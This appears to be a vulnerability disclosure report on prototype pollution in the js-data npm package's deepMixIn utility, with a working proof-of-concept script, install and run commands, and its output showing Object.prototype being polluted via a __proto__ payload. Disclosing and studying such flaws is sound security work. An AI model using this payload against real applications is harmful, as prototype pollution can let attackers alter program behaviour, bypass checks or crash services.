Prototype Pollution in js-data/js-data
Valid
Reported on
Jan 11th 2021
Description
js-data
is vulnerable to Prototype Pollution
.
Proof of Concept
- Create the following PoC file:
// poc.js
const js = require("js-data");
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
var obj = {}
console.log("Before : " + {}.polluted);
js.utils.deepMixIn(obj, payload);
console.log("After : " + {}.polluted);
- Execute the following commands in terminal:
npm i js-data # Install affected module
node poc.js # Run the PoC
- Check the Output:
Before : undefined
After : Yes! Its Polluted
to join this conversation